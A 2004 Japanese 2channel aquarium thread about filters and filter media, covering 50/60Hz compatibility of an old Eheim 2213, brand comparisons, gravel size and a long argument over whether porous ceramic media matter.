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濾過についての総合スレッド ver11

1 :名無しさん@お腹いっぱい。:04/03/08 00:18 ID:cjJmRLgP
ア板になって関連スレが増えたのでスレタイを刷新してみました

過去スレは>>2かな?

2 :名無しさん@お腹いっぱい。:04/03/08 00:18 ID:WEiZjemQ
イノセンス

3 :名無しさん@お腹いっぱい。:04/03/08 00:19 ID:cjJmRLgP
【前スレ】
フィルター 濾材 濾過全般について語るスレ ver10
http://hobby.2ch.net/test/read.cgi/aquarium/1069152351/l50

【過去スレ】
フィルター 濾材 濾過全般について語るスレ ver9
http://hobby.2ch.net/test/read.cgi/aquarium/1063851305/
フィルター  濾材  濾過全般について語るスレ
http://hobby.2ch.net/test/read.cgi/pet/1031673089/l50
フィルター 濾材 濾過全般について語るスレ ver2
http://hobby.2ch.net/test/read.cgi/pet/1035482180/l50
フィルター 濾材 濾過全般について語るスレ ver3
http://hobby.2ch.net/test/read.cgi/pet/1040160913/l50
フィルター 濾材 濾過全般について語るスレ ver4
http://hobby.2ch.net/test/read.cgi/pet/1046012383/
フィルター 濾材 濾過全般について語るスレ ver5
http://hobby.2ch.net/test/read.cgi/pet/1054543503/
フィルター 濾材 濾過全般について語るスレ ver6
http://hobby.2ch.net/pet/kako/1056/10567/1056730221.html
フィルター 濾材 濾過全般について語るスレ ver5(7)
http://hobby.2ch.net/test/read.cgi/pet/1056728170/
フィルター 濾材 濾過全般について語るスレ ver8
http://hobby.2ch.net/test/read.cgi/pet/1059344428/

4 :名無しさん@お腹いっぱい。:04/03/08 00:20 ID:cjJmRLgP
>>3だった

5 :不安です:04/03/08 01:19 ID:HpNoaHch
前スレから持ち越して悪いのですが・・・。


50hzのエーハイムを関西で使ったらどうなるんですか??
やった人います?



6 :名無しさん@お腹いっぱい。:04/03/08 02:50 ID:fJ0FsgmW
>>5
俺、転勤かもと思ってエーハイムだか販売店に聞いたことがあるけど
忘れた。

どこかのショップかエーハイムに電話してみては?
または電力会社に。


7 :名無しさん@お腹いっぱい。:04/03/08 02:52 ID:FJUuLSVF
エーハイムに聞くのがスジだろ。
真に受けて電力会社に聞くとすれば本人の責任だけど、電力会社にとっては
迷惑にもほどがある。


8 :名無しさん@お腹いっぱい。:04/03/08 02:54 ID:kcqNEBex
>>5

いい質問だ
是非解答が知りたいのでうpよろしくー

9 :名無しさん@お腹いっぱい。:04/03/08 06:20 ID:/rgcmgFw
実はガイシュツなんてもんじゃないほどなんだけどね

10 :名無しさん@お腹いっぱい。:04/03/08 07:24 ID:cjJmRLgP
機種名(商品)エーハイムクラシックフィルター2213
エーハイムコード2213330
Hz50/60共通
ろ過槽容積3リットルろ材コンテナ付
ポンプ流量50Hz 440 リットル/h60Hz 500 リットル/h
消費電力50Hz 5W 60Hz 6W
最大揚提50Hz 1.1m
60Hz 1.5m
希望小売価格12,000円

よろしいか?

11 :名無しさん@お腹いっぱい。:04/03/08 08:20 ID:2PEElZCZ
でも昔は共用じゃなかった>>10

それにしても既出だが・・・

12 :5:04/03/08 12:36 ID:BUpGVF+D
今日電話したら
まことに勝手ながら本日は休業させて・・・・・
と留守電になってました、既出ならば教えて下さい。

部品交換とかしてくれるのですか?

13 ::04/03/08 12:37 ID:BUpGVF+D
↑エーハイムに電話しました

14 :名無しさん@お腹いっぱい。:04/03/08 13:21 ID:fJ0FsgmW
適当な熱帯魚屋に
「○年くらい前に、買ったんですが転勤になりまして・・・」
と質問してみなされ

15 :名無しさん@お腹いっぱい。:04/03/08 16:41 ID:Kwk/fA4W
>>10
あなたの頭脳はよろしいです。

>>5
一日くらい待って、明日でもあらためて掛けなさい。

>>14
個人的な意見を店が言うとは思えない。
店、企業である以上は「使えません」としか返って来ないはず。
「使えます」と返って来たら驚きではある。その店は晒されるべき。
なにせメーカー推奨の使い方を曲げるわけだから。

16 :名無しさん@お腹いっぱい。:04/03/08 19:51 ID:7ssHCzeN
北電に聞けば?
あ、俺は北海道在住ね。


17 :名無しさん@お腹いっぱい。:04/03/08 20:14 ID:fa2FdQjk
>>5
流量が変わるだけです。

18 :5:04/03/08 21:09 ID:BUpGVF+D
みなさんレス有難う御座います、また明日にエーハイムに聞いてみます。

>17
本当っすか?家のは結構古いんでシールには50Hzとしか書いてません
それでも大丈夫ですかねぇ?

19 :名無しさん@お腹いっぱい。:04/03/08 22:28 ID:ypSoLCrg
今すぐわかる方法を教えてあげるよ。

過去ログを検索する。

20 :5:04/03/09 12:04 ID:aevdBvZ6
今日も電話したら休みだった・・・・。
大丈夫なのか?

21 :名無しさん@お腹いっぱい。:04/03/09 13:46 ID:S0uztRms
使っても大丈夫だよ!!!
60を50の地域で使っちゃダメなだけ!!

22 :名無しさん@お腹いっぱい。:04/03/09 15:41 ID:BJFuAHEJ
危ないぜ。
ドライヤーとかも火吹くし。


23 :名無しさん@お腹いっぱい。:04/03/09 20:05 ID:FRN2eu+/
バーナーとしても使えて一石二鳥じゃん!

24 :名無しさん@お腹いっぱい。:04/03/09 20:45 ID:9AtoO3Pw
コトブキのPOWER BOX55か90の購入を考えているんですが、作動音はうるさい
って噂を耳にしましたが実際はどうでしょか?
あと、交換フィルターってどこにでもある(入手しやすさ)んでしょうか?
どなたかご存知の方があたら、教えていただきたいです。

25 :名無しさん@お腹いっぱい。:04/03/09 20:46 ID:fFYV3VX9
へ〜

26 :名無しさん@お腹いっぱい。:04/03/10 02:23 ID:IDsIoYrI
>>24
PB90買ったよ。やかましいのでスグ廃棄。エーハイムにしときなさい。
後々便利よ。
交換濾材ってあんまし見ないなあ。ってか普通のウールでいいと思われ…

27 :名無しさん@お腹いっぱい。:04/03/10 15:58 ID:am5UZ3J+
>24
外部式初めての奴は安いのはやめとけ

28 :名無しさん@お腹いっぱい。:04/03/10 17:12 ID:IX/lI53R
>>21
ソレって蛍光灯の話でないか?

29 :名無しさん@お腹いっぱい。:04/03/10 17:13 ID:IX/lI53R
sage忘れすんません。

30 :名無しさん@お腹いっぱい。:04/03/10 19:11 ID:2+N/IdbG
最近チマチマと道具を買い揃えて、今日テトラの亜硝酸試薬を買って来て試したんですけど、
四つの水槽全部が0.3mg以下でした。
普通だったら喜ぶ所なのでしょうが、今まで失敗続きだったのでなにかの間違いでは?と不安です。
試薬の劣化とかはないのでしょうか?あと、実はアンモニア→亜硝酸のサイクルができてなかったりして、
亜硝酸はないけどアンモニア濃度がバカ高いなんてことはあるんですか?

31 :名無しさん@お腹いっぱい。:04/03/10 19:26 ID:ypno9hKM
底面ろ過フィルターを入れるために砂利を買おうと思ってますが、
おすすめありますか?めちゃくちゃ小さいのを引くほうがいいのか、
森永のアーモンドチョコぐらいのおおきさのがいいのか。

32 :名無しさん@お腹いっぱい。:04/03/10 21:03 ID:Mj78usMl
>>30
経験上、アンモニアの量と亜硝酸の量は大体比例している。
不安ならまずアンモニア試薬を買う事だね。
水換えの時期も知りたかったら硝酸塩の試薬もあった方が便利。
硬度やpHやカルシウムや燐酸や珪酸はお好きなように。

…と言いつつ、全部TESTしてるし<折れ

33 :名無しさん@お腹いっぱい。:04/03/10 22:00 ID:2+N/IdbG
>>32
そうですか、少し安心しました。ありがとうございます。
pHと亜硝酸が一般的に重要みたいなので、この二つは検査したのですが、
調べる項目はやろうと思ったらキリが無いほどたくさんあるんですよね。
器具オタにはなるまいと思ってたけど、このままだとなってしまいそうな悪寒

34 :名無しさん@お腹いっぱい。:04/03/10 22:34 ID:lqtbFRLz
>>30
てきとーにセットして適当に濾過が出来ていれば下がるでしょ。
私はそう言うの一切計ったことないけど、適当に濾過を回せば水は出来るよ。

あんまり気にしなくて良いんじゃない。気になるなら計ってもいいけど。

35 :名無しさん@お腹いっぱい。:04/03/10 23:26 ID:i9YUGjLp
>>31
細かければ細かいほど表面積を多く取れるので、
バクテリアの繁殖に良いように思えるが、
目詰まりしてしまっては意味がない。
しかも底面のスリットより細かな砂利では
ウールマットを引かなければならなくなる。

大きければ大きいほど目詰まりしにくいが、
糞まで底面に吸い込まれてしまうので、
やっぱりウールマットを引かなければならなくなる。

俺の経験上、ウールマットをひかなければプロホースなどで
ざくざく掃除できるのでメンテが楽。
ウールマットをひいてしまうといつかはマットを洗わなければ
詰まってしまう。
よって、底面のスリットよりちょっと大きめの砂利をひくようにしてます。
それがおすすめの大きさ。

36 :名無しさん@お腹いっぱい。:04/03/10 23:53 ID:i9YUGjLp
>>20
交流モーターは周波数が違うと速度が変わるよ。
60Hz用を50Hz地域で使うと回転が遅くなり、
50Hz用を60Hz地域で使うと回転が速くなる。
回転速度がメーカーの予想外なので異常発熱や
故障の原因になって危険だと俺は思う。
現行の50/60Hz共用タイプのに買いなおした方が無難だと思うよ。
ちなみにモーター交換なんてなったら
本体価格並の値段になりそうな予感。

37 :sage:04/03/11 00:01 ID:7tg+5wAc
>>24
PB90を使っているが全然問題ない
交換濾材っていうか、吸い込み口にスポンジをつけて、
中身は全部リング濾材にするとかすればいいかと

38 :名無しさん@お腹いっぱい。:04/03/11 04:21 ID:w7be4dh3
>>33
器具ヲタの32ですw 当たり前の事でスマソ↓
定期的に水質を検査する事は目に見えない魚たちの住環境を目に見えるようにする
事で、例えば30さんの家が湿気に満ちてカビだらけで幹線道路に面して防音対策も
全くなく、夜通しトラックの通過音と振動が絶えなくて、近くの工場から得体の知れない
煙が絶えず舞い込んできていたらどうします?
水槽内では一度安定してしまっても新たな生体を追加したりすると環境が急変する事
がよくありますよね。アンモニア・亜硝酸は絶えず還元されるとしても、硝酸塩は
一部の濾過方式以外では窒素に分解出来ないですから水換えが必要なのです。
pHと言う事は淡水でしょうが、前述3つの他にするとしたら総硬度でしょうか?

39 :名無しさん@お腹いっぱい。:04/03/11 12:10 ID:ntZl5Uiz
レイシーに電話したら「流量が変わるだけです。問題はありません」と言う。
回転数上昇に十分耐えられる余裕ある設計をしていた場合、
無問題ってことなのかの?

40 :5:04/03/11 13:00 ID:F/m80TOg
みなさん、レス有難うございました
エーハイムからメールにて回答もらったので解決しました


50Hzの商品を60Hzで使用すると過熱など危険ですのでお止めください。
パーツの販売はございませんので、モーターヘッドの販売になります。
2213ヘッド6000円です。(運賃1000円及び消費税別)
ご用命は当サービスセンターのご連絡ください。
ありがとうございました。




41 :名無しさん@お腹いっぱい。:04/03/11 13:42 ID:X4HK4Lv6
>>39
対応した設計なら無問題でつね、現行の2213もそうです
昔の2213の場合は未対応の設計だから問題なのね
>>40

ヘッドが6000円か、チャームの新品が7380円だから微妙〜

42 :名無しさん@お腹いっぱい。:04/03/11 14:15 ID:r/uhe/0S
>>40
新しく買いなおした方が安いな。

43 :名無しさん@お腹いっぱい。:04/03/11 14:52 ID:HvAwNYR2
>>40
まあメーカーは新しいのを買ってもらいたいからね
そういう罠

44 :名無しさん@お腹いっぱい。:04/03/11 15:23 ID:MRu7cbU2
今、外部フィルターを探しているんだけど、みんなが一様に口を揃えて
「エーハイム」って言うんだけどエーハイムってそんなにええんかい?
エーハイムだったら2217が欲しいんだけど、安くて15000円前後する。
どこかもっと安いとこ知らないでつか?
ちなみに、ランク付けするんならエーハイムの次はなんでつか?

45 :名無しさん@お腹いっぱい。:04/03/11 15:26 ID:xtucrVAR
>>40

新しく買ってプレフィルターにするか、オークションで売ればいいんじゃない?

46 :名無しさん@お腹いっぱい。:04/03/11 16:59 ID:AzrVSo36
>>41
チャームよりアクアベースのほうが送料500円だから
2213だったら得だな。新品かって古いのはオークションで
うるほうがかしこいね。

47 :名無しさん@お腹いっぱい。:04/03/11 17:38 ID:cAkYMV4I
>>44
フルーバルじゃないのかな。知らないんだけど。
漏れは海水魚を以前飼っていて上部フィルターを使っていて
水草に乗り換えたときに初めて買った外部フィルターがフルーバルだった。
その後、壊れたときにエーハイムがセールで売っていたのでエーハイムに。

濾材をそのまま流用(シポラックス)し続けているけど
エーハイムに変えたから濾過が良くなった気はしないよ。
同じじゃないかな。結局は濾材だと思う。

48 :名無しさん@お腹いっぱい。:04/03/11 19:58 ID:Uax+juCd
>>47
サンクスです、44です。
フルーバルですか!?作動音なんかはいかがでしたか?
最近までコトブキのパワーボックスを考えていたんだけど、音がうるさいって
聞いたんで購入を見送りました。

49 :名無しさん@お腹いっぱい。:04/03/11 20:25 ID:cAkYMV4I
>>48
昔使っていた型番は何だっけ?と思って検索したけど
どうも今は販売してないモデルらしい。

だから今のモデルは知らないし何とも言えないんだけど
別に音はしなかったよ。
ただ、検索して出てきた使用者の話を見ていると
多少うるさいモデルもあるようです。

ということで現行モデルを使っているほかの人、感想をどうぞ(w

50 :名無しさん:04/03/11 22:04 ID:c7o2HZOl
そんな事言うと、オレ書き込めないじゃん(泣
漏れはフルーバル旧103を三年使ってるけど、ノントラブル。
とにかく作動音がしない!壊れてんの?と不安になるくらい。しかもフルセット。何も買い足す必要が無い。
エーハイムはそうはいかない。
ところで、同時期にプライムパワー20も買ったんだけど、うっさいわ メンテ不便だわ インペラ傷付くわ 漏材足りないわ…
失格!

51 :名無しさん@お腹いっぱい。:04/03/11 22:39 ID:BWaZOLFD
何も付けないで「エーハイム」って書いてある場合は、大抵「クラシック」を
指すことが多いよね。エコって書けばエコだし、プロはプロって書く場合が
多いと思う。ただのエーハイムはクラシックの場合が多い。

クラシックの最大の利点は下から吸って上から吐く。これに尽きる。
あとは当たり(静か)の確立が高いかも。エーハイムも工業製品なので
外れを引く場合はあるけど、その確立が他よりも良い傾向があるっぽい。
ちなみにうちでは3台買って当たり100%。うるさいのは皆無。

別に水の通り道なんかどうでもいいであるとか、うるさければクレーマーと化し
てもいいやとかなら他のメーカーでもいいのかも。

でもこれは覚えておくといい。下から吸わないタイプ(クラシックとADAのやつ
以外はほとんど全部)は必ず空気がどこかに残る構造になってる。インペラーの
音以外ではその空気がボチョボチョ鳴って騒音に感じるわけだけど、それを
あらかじめ危惧するなら構造も考えに入れて選択すべきだね。

中でもプライムは最悪の構造かも。


52 :名無しさん@お腹いっぱい。:04/03/11 23:01 ID:Uax+juCd
44です。
みなさん大変貴重なご意見に感謝いたします。
エーハイムって、色々な種類のが出てますが>>51さんのカキコを見て自分なりに
納得しました。

53 :名無しさん@お腹いっぱい。:04/03/11 23:40 ID:c7o2HZOl
プライムパワーのオーナーなら、メンテの時モーターヘッド部を外すのに苦労した経験、ありますよね?
オレなんか強引にこじ開けようとして、ヘッド部バラッバラに分解させちった!
なんとか再生できたんだけど、気になったのが内蔵された大量の発砲スチロール。
今思えば、あれは消音材だったんだなァ…

54 :亀将軍様:04/03/11 23:59 ID:AzrVSo36
まあ、なんつうか、エーハイムのクラシックを勧める奴って
シーラカンスだとおもう。以後、クラシック原理主義と
呼ばせていただこうか。20世紀の残滓は俺がエコフィルターを
買ったので成敗しよう。

55 :名無しさん@お腹いっぱい。:04/03/12 00:10 ID:RmTo+P8J
え?外部フィルターって、エンペラ軸上に排水パイプが無い限り、必然的に空気が残るんじゃないんですか?
詳細お願いします。

56 :名無しさん@お腹いっぱい。:04/03/12 00:17 ID:7EoKHOCx
クラシックのろ過能力は低いよ

57 :名無しさん@お腹いっぱい。:04/03/12 00:21 ID:kotT7ML/
>>53
プライム20のオーナーですが、ヘッドを外すコツをつかむまで1年かかりました。
ぜんぜん外れないから力込めて引っ張ったら、そのまま地面に落ちて青いロックの部分が折れました。
ついでに内部の細長い棒みたいな部分も折れました。
修理に2000円かかったのは今ではいい思い出です。

58 :名無しさん@お腹いっぱい。:04/03/12 00:30 ID:Ei1U41CE
>>57
外すコツ教えて
ずっと苦労してんのよ・・・

59 :名無しさん@お腹いっぱい。:04/03/12 02:12 ID:4w9hHXsk
>58
俺はサラダ油薄く塗った。
だってワセリンなかったんだもん・・・
その後特に問題はなかった。

60 :名無しさん@お腹いっぱい。:04/03/12 03:28 ID:u4WWwLyc
この板はエーハイムといえばクラシックと連呼するアホが大目。

61 :名無しさん@お腹いっぱい。:04/03/12 04:18 ID:zTarEsAs
どの板に行けばいいの

62 :アホ:04/03/12 06:06 ID:SY1aMy0v
  クラシック
クラシック
クラシッククラシック
クラシック クラシッククラシック
             クラシック


63 :名無しさん@お腹いっぱい。:04/03/12 07:02 ID:0bmVHX14
エコ使っているけど
内部を掃除して水を送り出すために
マルチハンドルを動かすと
付け根が動いて、うまくいかない。

64 :57:04/03/12 12:58 ID:kotT7ML/
>>58
左手で下の筒の部分を持ち、右手でヘッド部分を持ち、
右足で筒とヘッドの境を押さえ、てこの原理でコキャっとやる感じです。
結局は使い込みと慣れということで。

65 :名無しさん@お腹いっぱい。:04/03/12 14:55 ID:RmTo+P8J
やっぱ皆さんプライムのメンテには苦労してるんですね…

66 :58:04/03/12 14:59 ID:Ei1U41CE
>>64
どうもありがd
次のメンテでやってみます。

67 :名無しさん@お腹いっぱい。:04/03/12 15:26 ID:NPriwf0d
濾過スレてさ、水槽の水と一緒でいつも同じことをループしてるけど
その反復の気持ちよさはテクノミュージックと通じるところがあるね。
濾過スレはテクノだね。
______________  ___________
                      V         
          ♪                    
                   Λ_Λ()) ♪      
            ♪    (´∀`ξ)         
             ____○___ξつヾ_____
           /δ⊆・⊇ 。/†::† /δ⊆・⊇。/|
        | ̄ ̄ ̄ ̄ ̄| ̄ ̄ ̄.| ̄ ̄ ̄ ̄ ̄|  |
        | EHEIM  | :::  |       .|  |
        | classic  | ̄ ̄ ̄.| プラ濾材  |

68 :名無しさん@お腹いっぱい。:04/03/12 20:56 ID:0EwRoQuX
w

69 :名無しさん@お腹いっぱい。:04/03/12 22:18 ID:/6fR2PE7
プラ濾材はたま〜にしか出ないじゃん?

70 :名無しさん@お腹いっぱい。:04/03/13 16:29 ID:DDDYUUjv
サイフォン式W&Dのろ過装置には、ドライろ材とウェットろ材のどちらを使うべきでしょうか?

71 :名無しさん@お腹いっぱい。:04/03/13 17:01 ID:8O15bDuq
ウエット

72 :名無しさん@お腹いっぱい。:04/03/14 16:42 ID:CPi928sJ
濾過材についてお聞きしたいのですが、
パワーハウスやシボラックスやその他いろいろなところから
セラミックの濾材が売られていますが、やはり高いほうが
長く使う上で安心なのでしょうか?
オークションなどでも「シボラックスと同等」とか、
うたい文句に安い濾材が売られていますがどうなのでしょう?
使用するに当たって全然問題なしですか?


73 :名無しさん@お腹いっぱい。:04/03/14 17:05 ID:I7I+thJZ
>>72
濾過材については、いろいろ議論があるようなので
あまり統一的な結論はないと思いますが・・・・・・

セラミックの濾過材でも最初の大ヒットが
シポラックスだったと記憶しています。
そのため最初の大ヒット作ということで、その後伝説化しただけではないでしょうか?

その後たくさん多孔質の濾過材がでてますし
安い奴でそんなに問題はないと思いますよ。

74 :名無しさん@お腹いっぱい。:04/03/14 17:48 ID:JFIvdH7X
シボラックスはガラス系じゃなくて?

75 :名無しさん@お腹いっぱい。:04/03/14 17:51 ID:t3J4Xu5a
全言語のページからシボラックスを検索しました。 約27件中1 - 10件目 ・検索にかかった時間0.24秒

76 :名無しさん@お腹いっぱい。:04/03/14 23:13 ID:CRilcjf5
>72
聞く前に過去レスと過去スレを全部読み自己解決をする努力をしたまえ。

77 :名無しさん@お腹いっぱい。:04/03/16 11:32 ID:g3jLQgO7
今日オークションでかったシボラックスタイプの安い濾材が届いた。
早速セットしようと思って一度、水槽の水でゆすぐことに。
だけどこの濾材、高多孔質のはずだが水につけても気泡も何もでない?
こんな濾材でも大丈夫なのだろうか…。
かなり不安をかかえて、セットしました。


78 :名無しさん@お腹いっぱい。:04/03/16 13:10 ID:8ugGpXg1
>>77
でないよ。
何でいきなり気泡が出ると思う?

79 :77:04/03/16 13:36 ID:g3jLQgO7
分かりません。ぜひ教えてください。
じゃあこの濾材ぜんぜん問題ない。

80 :77:04/03/16 13:39 ID:g3jLQgO7
訂正
じゃあこの濾材ぜんぜん問題ない。

じゃあこの濾材ぜんぜん問題ないの?

81 :名無しさん@お腹いっぱい。:04/03/16 13:45 ID:8ugGpXg1
>>79
気泡が出ないことは問題じゃないと思うよ。別に。
ただ、他の問題があるかどうかはわからないです。

82 :名無しさん@お腹いっぱい。:04/03/16 19:58 ID:g3jLQgO7
パワーハウスやモノボールは水にいれるとジュワっていうよね。
パワーハウスのベーシックは知らないけど。

83 :名無しさん@お腹いっぱい。:04/03/17 00:15 ID:fBBsI783
何度も出てきてる話題だけど、多孔質っつってもあまり意味無いよ。
そんな小さな穴なんか濾過が立ち上がれば濾過細菌の出す物質で詰まるから。

考えれば分かりそうなもんだけど。

目に見えるデコボコを重視すべき。
顕微鏡サイズのデコボコなんて大した意味なんか無いよ。
広告に影響されすぎ。


84 :名無しさん@お腹いっぱい。:04/03/17 01:28 ID:l73ISY01
あなたのうちのバクテリアはずいぶん大きいんですね

85 :名無しさん@お腹いっぱい。:04/03/17 04:04 ID:fBBsI783
どうしても広告を信じたいなら仕方ないけどね

86 :名無しさん@お腹いっぱい。:04/03/17 11:53 ID:Cwckh3Hm
>濾過細菌の出す物質で詰まるから。

そこに濾過細菌が詰まっているんじゃないの?

87 :名無しさん@お腹いっぱい。:04/03/17 13:28 ID:GXqeNAcF
顕微鏡サイズの話は、
顕微鏡で観察した人の話を信じます。

88 :名無しさん@お腹いっぱい。:04/03/17 13:45 ID:oQINAAN9
>>85
ごめんな。
俺はソースのない2ちゃんの書き込みより広告を信じるわ

89 :名無しさん@お腹いっぱい。:04/03/17 14:47 ID:OwmQsB6q
>>83
そういうなら欠点を上げてみようぜ俺は利点を上げてみるから

濾過細菌が繁殖し定着する速度は段違いだと思う
多孔質という細菌の住む場所が用意されてるから
濾過能力はもちろんだけど
ユーザーが求めるモノの一つは立ち上がりの速さでないか?

多孔質でもう一つ上げるなら
安定性や立ち直りもいいだろうね
濾過機がつまって洗ったくらいじゃ
多孔質の奥に定着してる細菌は落ちないだろうし

90 :名無しさん@お腹いっぱい。:04/03/17 18:20 ID:O4UyGRsz
誰か対照実験してくれ。
前から思ってるんだがPSBにしろ、多孔質にしろ対象実験すれば解決じゃないの?
俺はそんな金ないから無理。

91 :名無しさん@お腹いっぱい。:04/03/18 01:08 ID:b9y138VB
ブリラントとかのスポンジフィルターを例にすると分かりやすいと思う。
あれらのスポンジフィルターって、それこそ顕微鏡で見ると平坦な表面だよね。
素材が何か分からないけど、その素材の発泡素材がスポンジだよね。

それよりも通水性を考えるのが良さそう。ブリラントのような仕組みのスポンジ
フィルターは否応無しに水が通るけど、例えば広告に「息を吹き込むと息が通り
ます」とか「水に入れると空気が出てきて通水性を証明してます」とかあるけど、
実際に濾材をフィルター内に収めた図を想像してみて欲しい。

濾材に空いた1mmの数十分の一とか数百分の一とか、それ以下の細かい通り道より
普通は濾材と濾材の隙間の1mm以上の濾材同士の隙間を通ると思う。

クラシックあたりに濾材を詰め込んだのを想像すると分かりやすいかな。
下から上に水が通っていくけど、ミクロンサイズの濾材自体の穴よりも濾材と
濾材の隙間を通ると思わない?

特殊なポンプでものすごい圧力を掛けたなら話は別だと思うけど、指で塞いだら
止まってしまうような圧力のポンプで水を送っても、ミクロンサイズの穴には
水は通らないと思うよ。

通ると思って気分が良いならいいけど。


92 :名無しさん@お腹いっぱい。:04/03/18 01:13 ID:8T9za0rc
>88
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93 :名無しさん@お腹いっぱい。:04/03/18 01:14 ID:b9y138VB
水の通らない場所には嫌気性のバクテリアが元気にしてて、脱窒してくれてると
想像して気持ち良くなるってテもある。

94 :名無しさん@お腹いっぱい。:04/03/18 02:11 ID:YYbc+6TX
>>91
多孔質ろ材の穴は水を通すためだけに存在するわけじゃない。
水の通り道に接するろ材の表面に微細な穴がたくさんあれば、
そこがバクテリアにとって好適な住処になる。
別に水が貫通しなくても、水流が接する窪みがあれば
そこにバクテリアのコロニーが形成されるだろ?
もしおまいさんの『水は1mm以上の隙間しか通らない』っていう意見が正しいなら、
メーカーから1mm以上のスリットが入ったスノコ状のろ材(表面スベスベ)が
出てきそうなもんだが、俺は見たことがないしな。
まあ俺だけが知らないのかもしれんが。
あとおまいさんの文章(>>83>>91)はすごく読みにくいな。もうちょっと推敲してくれ。

95 :名無しさん@お腹いっぱい。:04/03/18 03:33 ID:H6nmmFT9
物理は詳しくないからあれだが、水分子より小さい穴でなきゃ
毛管現象で水は入っていくだろ。
逆浸透膜濾過(純粋を作る)とかあるくらいだし。
最初は空気がのこってても最終的には埋まるもんだと思われ。

96 :名無しさん@お腹いっぱい。:04/03/18 03:40 ID:H6nmmFT9
まあ、俺が言えることはセラミックとかガラスの固いやつらは
長持ちするから別に初期投資として少し高くとも損ではないんじゃないかと思う。
濾過力がどれが優れてるかなんて水槽の環境によるしね。
いろいろ使ってみて自分にあったろ材で好きに汁ってこった。

97 :名無しさん@お腹いっぱい。:04/03/18 04:05 ID:b9y138VB
>1mm以上のスリットが入ったスノコ状のろ材
プラ濾材

>毛管現象で水は入っていくだろ
入った後に動かなきゃ湿ってるだけ

>逆浸透膜濾過(純粋を作る)
使えば分かるけど水道程度の圧だとほとんど水は通らない
通そうとするとものすごい圧を掛けられるポンプが要る

ボコボコいてるのはしてていいけど、ミクロンサイズの穴にはさほど意味が無い。
そんな話の流れだと思う。

>あとおまいさんの文章(>>83>>91)はすごく読みにくいな
そういうふうに誰かと誰かを同一人物として認定して気持ちよがってると
印象を悪くされるよ。こっそり気にしてるのは構わないけど。

98 :名無しさん@お腹いっぱい。:04/03/18 04:14 ID:b9y138VB
ちょっと補足。
ミクロンサイズの穴って言ってもどのくらいのサイズが穴かというと難しいよね。

普通、穴って言うとなんていうか「穴」だけど、ミクロンサイズのデコボコが
穴と呼べるのかどうか。「デコボコ」と「穴」の基準に差があるといつまで
経ってもどうどう巡りかもね。

俺は表面はボコボコしてるほうがいいと思う。その穴が深く奥まで続いている
とかは意味がないと思う。例えばサイコロ状のスポンジ状の濾材。素材はなんでも。
発泡状の濾材ね。

例えばスポンジをサイコロ状に切って外部にでも詰め込んだとする。
スポンジの内部にも水は染み込むね。でも水流はスポンジの内部を通らない。
なぜならスポンジの内部より通りやすい道があるから。サイコロ同士の隙間に
水は通るね。ま、どのようなカタチ、サイズに切ったかにもよるけど。
でもよほど薄く、小さく切らないと表面の部分にしか水が通らないね。

なので表面が荒れているのは好影響だと思う。穴の奥はさほど意味が無いと思う。


99 :名無しさん@お腹いっぱい。:04/03/18 04:15 ID:YYbc+6TX
>ボコボコいてるのはしてていいけど、ミクロンサイズの穴にはさほど意味が無い。
 そんな話の流れだと思う。
ダメだ、本気で解らん。半島のかたですか?

>そういうふうに誰かと誰かを同一人物として認定して気持ちよがってると
 印象を悪くされるよ。こっそり気にしてるのは構わないけど。
自分の文章の癖をしっかり把握しよう。

別 人 だ と い う な ら 構 わ な い け ど (プ

100 :名無しさん@お腹いっぱい。:04/03/18 04:22 ID:b9y138VB
あ、長々と書いた後に思い出した。もっと分かりやすい例がある。
底面を例にすると分かりやすかったかも。

底面を普通にセットして動かし始めて、どこに水が通ってるかを確認するために
メチレンブルーとかの色素をスポイトかなんかで砂利の表面に流したとする。

立ち上がってるパイプの付近からしかほとんど吸ってないんだってさ。
底面スレで聞くと分かるよ。

水も空気も通りやすいトコを選択して通ってくものなので、表面のデコボコは
ともかく内部までは水が通らない。もっと通りやすいトコを通っちゃう。

多孔質ろ材の「多孔質」ってのは表面のデコボコを言っているのではないね。
スポンジ状のことを言っているんだと思う。そういう前提で多孔質ろ材には
さほど意味は無い。多孔質であるために表面がデコボコしていることだけには
意味があるけど。

101 :名無しさん@お腹いっぱい。:04/03/18 04:24 ID:b9y138VB
> (プ
とか書いた時点で説得力が欠如しちゃうよ。
少なくともコチラはマジメにレスしてる。

102 :名無しさん@お腹いっぱい。:04/03/18 04:44 ID:YYbc+6TX
同一人物であることは否定しないんだね。
とりあえず>>89の提案どおり多孔質ろ材の欠点をあげてくれ。
それから>>93な。
>水の通らない場所には嫌気性のバクテリアが元気にしてて、脱窒してくれてると
 想像して気持ち良くなるってテもある。
この時点で認識が不足してる。脱窒菌が存在するのは嫌気圏だけじゃない。
通性嫌気性菌でぐぐれ。
>>100では底面を例に挙げてるが、>>94と重複するけど、水の通り道だけにバクテリアが
生息してるわけじゃない。土壌性細菌も存在する。話をループさせないでくれ。
>多孔質ろ材の「多孔質」ってのは表面のデコボコを言っているのではないね。
 スポンジ状のことを言っているんだと思う。そういう前提で多孔質ろ材には
 さほど意味は無い。
表面のデコボコも含んでいるが。っていうか多孔質のろ材がスポンジ状ってどういうことだ?

103 :名無しさん@お腹いっぱい。:04/03/18 06:48 ID:b9y138VB
なんでそんなにまで同一人物であって欲しいの?

欠点ね。それを使って悪影響があるかは微妙かな。
無意味ってことだね。無意味ってことが欠点かな?
同一人物でもなんでもいいけど、欠点だとは「同一人物」は一度も触れてないね。
意味が無いと書かれてどうしても我慢できなくて「じゃあ欠点を挙げろ」って
書いた人はいるけど。あくまでスタンスは「意味が無い」ってこと。

嫌気性のバクテリアにいろんな種類がいるのは知ってるよ。
ただアクア一般的に知られていて、そしてその働きとされてるのは上で書いた
ような働きでしょ?良く語られるよね。ガラスの表面にもバクテリアは居るって。
その種類も様々なんだろうね。ただ極端な好気性だったり嫌気性だったりする
バクテリアは逆の環境にはいられないだろうけど。

水が通らない(通りにくい)場所にもいろんな細菌はいるね。でもそれが水質を
浄化するほど、何か明らかな影響を及ぼすほど水槽というサイズの水量の場合は
働いてるとは言えないのでは?

図で書いて示せないのが残念だけど。

多孔質ってのはスポンジ「状」のを想像すると大きく外れてないよね。
その素材の全体、内部まで連続した穴が通ってるっていう素材。

無数のヘコミがあるのは多孔質とは呼ばないよね?貫通してないと。
ttp://www.aist.go.jp/aist_j/research/patent/2002/08_1/
ぐぐったらアタマのほうに出てきた。表面がデコボコの素材は多孔質とは
呼ばないよ。多孔質は連続した発泡した素材と思うのが良さそう。
何もこのURLがスポンジを指してるからスポンジだけが多孔質って言うって
言ってるんじゃないよ。連続した穴が全体に通ってるのを多孔質って呼ぶの。

表面のデコボコは多孔質じゃないよ。

